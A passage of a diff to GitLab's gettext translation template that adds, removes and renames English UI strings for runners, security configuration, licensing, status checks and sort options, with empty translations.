+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
